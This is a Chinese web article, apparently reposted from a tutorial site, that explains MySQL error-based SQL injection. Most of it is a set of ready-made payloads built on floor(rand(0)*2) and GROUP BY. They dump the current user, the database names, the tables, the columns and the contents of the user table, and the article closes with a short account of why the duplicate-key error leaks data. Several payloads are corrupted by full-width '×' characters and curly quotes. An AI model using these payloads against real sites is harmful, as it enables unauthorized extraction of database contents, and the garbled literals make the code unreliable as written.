深入分析MySql 报错注入原理剖析

发布时间：2022-06-28 14:22 所属栏目：115 来源：互联网

导读：最近在查看服务器安全时发现有大量的各种注入sql了,在这里小编在网上整理了一些关于黑客常用的一些MySql注入的写法供各位学习让大家更清楚如何注入从而让网站安全做得更到位. 看了一下关于mysql报错注入的技术文章,都是通过类似以下的语句进行注入的,这样的

　　最近在查看服务器安全时发现有大量的各种注入sql了,在这里小编在网上整理了一些关于黑客常用的一些MySql注入的写法供各位学习让大家更清楚如何注入从而让网站安全做得更到位.

　　看了一下关于mysql报错注入的技术文章,都是通过类似以下的语句进行注入的,这样的语句被称为公式“公式”,好多小菜都是拿来直接用,不知道为什么会是这样,可是偏偏有我这种二货一定要搞明白这几句.

　　先来看看注入的全过程:

　　admin’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b#

　　爆表:

　　and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0×27,hex(cast(table_name as char)),0×27,0x7e) from information_schema.tables where table_schema=0x64656D6F limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

　　爆字段:

　　and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0×27,column_name,0×27,0x7e) from information_schema.columns where table_schema=0x64656D6F and table_name=0×75736572 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# --phpfensi.com

　　爆所有库:

　　and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0×27,schema_name,0×27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

　　爆当前数据库:

　　username=-99999999999′ and(select 1 from(select count(*),concat((select (select concat(0x7e,0×27,hex(cast(database() as char)),0×27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

　　爆内容:

　　and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0×27,user.username,0×27,0x7e) from user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

　　爆出内容目的就达到了,这些语句让我最无法理解的就是floor(rand(0)*2)),group by x,完全不知道拿出来是做什么的.

　　查相关资料在mysql官方介绍中找到答案:

　　RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.

　　You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

　　意思就是不能再ORDER BY 中使用 RAND() 了,那就也不能用GROUP BY了,用了就会报错了.

　　admin’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b#

　　a为:concat(floor(rand(0)*2),(select user() limit 0,1))

　　有rand,后面又出现group by a语句,所以就报错了Duplicate entry ‘root‘ for key ‘group_key’而这里的“’XXXXXXXXXX”就是 user()的内容,这样就有了用户名.

　　可以进行如下的测试:报错的:

　　SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b–
　　去掉rand后没有报错:

　　SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(0,(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b–
　　去掉GROUP BY a 后没有报错:

　　SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables )b–。

（编辑：ASP站长网）